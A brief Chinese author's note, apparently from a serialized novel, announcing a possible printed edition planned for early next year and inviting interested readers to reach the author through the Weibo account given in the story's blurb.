本文不出意外的话会有出实体的可能性,我的计划是明年初,因为排版校对设计各种事情都比较费人,加上我都是自己一个人包圆全部工作,所以如果各位有兴趣的话,可以来敲敲我,文案里有微博。